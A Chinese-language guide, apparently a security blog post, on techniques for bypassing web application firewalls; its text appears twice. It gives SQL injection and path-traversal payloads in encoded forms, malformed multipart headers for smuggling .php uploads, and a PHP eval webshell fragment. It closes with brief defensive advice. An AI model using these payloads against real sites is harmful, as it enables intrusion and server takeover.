Waf 绕过手法测试
字数 3590 2025-08-19 12:42:30

WAF绕过手法全面指南

1. WAF类型与检测特点

1.1 WAF类型层级

  1. 网络层WAF

    • 先拦截流量进行检测后再转发
    • 检测细腻度最高
  2. 应用层WAF

    • 先经过Apache/Nginx解析后再交给PHP处理
    • 检测细腻度中等
  3. 云WAF(CDN+WAF)

    • CDN加上软件WAF的结合体
    • 抗DDoS攻击
    • 过滤简单Payload攻击
    • 流量清洗功能
  4. 自定义WAF

    • 系统后台内置的安全功能
    • 通常使用正则匹配规则
    • 检测细腻度最低

2. 通用绕过思路

2.1 解析差异绕过

  1. HTTP参数污染(HPP)

    • 利用不同后端对重复参数的处理差异
    • 示例: ?id=1&id=2&id=1' or '1'='1
  2. Content-Type字符编码

    • WAF严格遵循HTTP协议而服务器不处理
    • 利用编码差异
  3. Content-Encoding编码

    • 指示请求/响应主体数据的内容编码方式
    • 利用WAF与后端解码差异

2.2 编码绕过技术

  1. 大小写混合

    • UnIoN SeLeCT 1,2,3,4
  2. URL编码

    • UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
  3. Unicode混淆

    • union = uю%69яю
  4. 宽字节注入

    • 利用字符集转换问题
  5. 路径混淆

    • ../../etc/shadow%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

2.3 内容溢出攻击

  1. 长参数溢出

    • ?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
  2. OpenResty URI参数溢出

    • OpenResty通过ngx.req.get_uri_args只能获取前100个参数
    • 第101个参数开始会溢出
    • 示例: 构造100个重复参数后插入恶意参数

3. 云WAF架构绕过

3.1 源IP直接访问

  • 云WAF通常通过DNS解析引流
  • 直接访问源站IP可能绕过WAF检测

3.2 同网段攻击

  • 在云服务商购买服务器
  • 通过内网攻击目标(流量可能不经过WAF)
  • 成功取决于云服务商的网络配置

4. 文件上传绕过技术

4.1 Content-Disposition变形

  1. 引号变换

    • Content-Disposition: "form-data"; name=file_x; filename="xx.php"
    • Content-Disposition: form-data; name=file_x; filename="xx.php"
    • Content-Disposition: form-data; name="file_x"; filename="xx.php
  2. 分号变换

    • Content-Disposition: form-data; name="file_x"; filename="xx.php;
  3. 使用特殊字符

    • Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php" (使用制表符)
  4. 多分号/等号

    • Content-Disposition: form-data; name="file_x";;; filename="test.php"
    • Content-Disposition: form-data; name=="file_x"; filename===="test.php"
  5. 值变形

    • Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
    • Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
    • Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"

4.2 Content-Type变形

  1. 大小写混合

    • Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
  2. 添加特殊字符

    • Content-Type: multipart/form-data a\boundary=----WebKitFormBoundarye111
    • Content-Type: multipart/form-data,a\boundary=----WebKitFormBoundarye111
    • Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111 (仅PHP可行)
    • Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc

4.3 顺序交换

  1. 交换name和filename顺序

    • Content-Disposition: form-data; filename="xx.php"; name="file_x"
  2. 交换Content-Disposition和Content-Type顺序

    • 先放Content-Type再放Content-Disposition

4.4 boundary内容重复

------WebKitFormBoundarymeEzpUTMsmOfjwAAContent-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
<?php @eval($_POST['hack'

WebKitFormBoundarymeEzpUTMsmOfjwAAContent-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack'

WebKitFormBoundarymeEzpUTMsmOfjwAAContent-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

4.5 数据截断技术

  1. 换行截断

    • Content-Disposition: form-data; name="upload_file"; filename="shell.php"
  2. 分号截断

    • Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
  3. NULL字节截断

    • Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
  4. 引号截断(PHP<5.3)

    • Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
    • Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

4.6 性能负载攻击

  1. 在关键位置插入大量垃圾数据

    • 在filename参数中插入长随机字符串
    • 在Content-Type头部插入垃圾数据
  2. 分割请求数据

    • 将恶意负载分散到多个位置

5. 高级绕过技术

5.1 Pipeline绕过

原理:

  • HTTP协议由TCP封装
  • 当Connection字段为keep-alive时,TCP连接保持
  • 可以附加攻击请求到正常请求后

方法:

  1. 关闭自动填充Content-Length
  2. 修改Connection为keep-alive
  3. 在正常请求后附加攻击请求

5.2 分块编码传输

原理:

  • HTTP/1.1支持分块传输编码
  • 数据分成多个部分发送
  • 服务器不需要预先知道总大小

方法:

  1. 使用Transfer-Encoding: chunked
  2. 将攻击负载分成多个块
  3. 使用工具如Burp Suite的"chunked-coding-converter"插件

6. 防御建议

  1. 多层防御

    • 结合网络层和应用层WAF
    • 使用云WAF+自定义规则
  2. 严格输入验证

    • 对所有输入参数进行规范化处理
    • 实施白名单验证
  3. 协议一致性

    • 确保WAF和后端使用相同的解析逻辑
    • 严格遵循HTTP协议规范
  4. 性能优化

    • 针对内容溢出攻击优化性能
    • 设置合理的超时和大小限制
  5. 日志监控

    • 记录所有异常请求
    • 实时监控可疑活动
  6. 规则更新

    • 定期更新WAF规则
    • 针对新出现的绕过技术及时防护

7. 总结

WAF绕过技术多种多样,从简单的编码变形到复杂的协议利用,攻击者不断寻找新的方法来规避检测。有效的防御需要深入理解这些技术原理,实施多层防御策略,并保持安全规则的持续更新。安全团队应当定期测试WAF的有效性,模拟各种绕过技术来验证防护能力。

WAF绕过手法全面指南 1. WAF类型与检测特点 1.1 WAF类型层级 网络层WAF 先拦截流量进行检测后再转发 检测细腻度最高 应用层WAF 先经过Apache/Nginx解析后再交给PHP处理 检测细腻度中等 云WAF(CDN+WAF) CDN加上软件WAF的结合体 抗DDoS攻击 过滤简单Payload攻击 流量清洗功能 自定义WAF 系统后台内置的安全功能 通常使用正则匹配规则 检测细腻度最低 2. 通用绕过思路 2.1 解析差异绕过 HTTP参数污染(HPP) 利用不同后端对重复参数的处理差异 示例: ?id=1&id=2&id=1' or '1'='1 Content-Type字符编码 WAF严格遵循HTTP协议而服务器不处理 利用编码差异 Content-Encoding编码 指示请求/响应主体数据的内容编码方式 利用WAF与后端解码差异 2.2 编码绕过技术 大小写混合 UnIoN SeLeCT 1,2,3,4 URL编码 UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29 Unicode混淆 union = uю%69яю 宽字节注入 利用字符集转换问题 路径混淆 ../../etc/shadow → %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow 2.3 内容溢出攻击 长参数溢出 ?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 OpenResty URI参数溢出 OpenResty通过 ngx.req.get_uri_args 只能获取前100个参数 第101个参数开始会溢出 示例: 构造100个重复参数后插入恶意参数 3. 云WAF架构绕过 3.1 源IP直接访问 云WAF通常通过DNS解析引流 直接访问源站IP可能绕过WAF检测 3.2 同网段攻击 在云服务商购买服务器 通过内网攻击目标(流量可能不经过WAF) 成功取决于云服务商的网络配置 4. 文件上传绕过技术 4.1 Content-Disposition变形 引号变换 Content-Disposition: "form-data"; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name="file_x"; filename="xx.php 分号变换 Content-Disposition: form-data; name="file_x"; filename="xx.php; 使用特殊字符 Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php" (使用制表符) 多分号/等号 Content-Disposition: form-data; name="file_x";;; filename="test.php" Content-Disposition: form-data; name=="file_x"; filename===="test.php" 值变形 Content-Disposition: form-da+ta; name="file_x"; filename="xx.php" Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php" Content-Disposition: form-dataxx; name="file_x"; filename="xx.php" 4.2 Content-Type变形 大小写混合 Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111 添加特殊字符 Content-Type: multipart/form-data a\boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data,a\boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111 (仅PHP可行) Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc 4.3 顺序交换 交换name和filename顺序 Content-Disposition: form-data; filename="xx.php"; name="file_x" 交换Content-Disposition和Content-Type顺序 先放Content-Type再放Content-Disposition 4.4 boundary内容重复 4.5 数据截断技术 换行截断 Content-Disposition: form-data; name="upload_file"; filename="shell.php" 分号截断 Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php" NULL字节截断 Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg" 引号截断(PHP<5.3) Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php" Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php" 4.6 性能负载攻击 在关键位置插入大量垃圾数据 在filename参数中插入长随机字符串 在Content-Type头部插入垃圾数据 分割请求数据 将恶意负载分散到多个位置 5. 高级绕过技术 5.1 Pipeline绕过 原理 : HTTP协议由TCP封装 当Connection字段为keep-alive时,TCP连接保持 可以附加攻击请求到正常请求后 方法 : 关闭自动填充Content-Length 修改Connection为keep-alive 在正常请求后附加攻击请求 5.2 分块编码传输 原理 : HTTP/1.1支持分块传输编码 数据分成多个部分发送 服务器不需要预先知道总大小 方法 : 使用Transfer-Encoding: chunked 将攻击负载分成多个块 使用工具如Burp Suite的"chunked-coding-converter"插件 6. 防御建议 多层防御 结合网络层和应用层WAF 使用云WAF+自定义规则 严格输入验证 对所有输入参数进行规范化处理 实施白名单验证 协议一致性 确保WAF和后端使用相同的解析逻辑 严格遵循HTTP协议规范 性能优化 针对内容溢出攻击优化性能 设置合理的超时和大小限制 日志监控 记录所有异常请求 实时监控可疑活动 规则更新 定期更新WAF规则 针对新出现的绕过技术及时防护 7. 总结 WAF绕过技术多种多样,从简单的编码变形到复杂的协议利用,攻击者不断寻找新的方法来规避检测。有效的防御需要深入理解这些技术原理,实施多层防御策略,并保持安全规则的持续更新。安全团队应当定期测试WAF的有效性,模拟各种绕过技术来验证防护能力。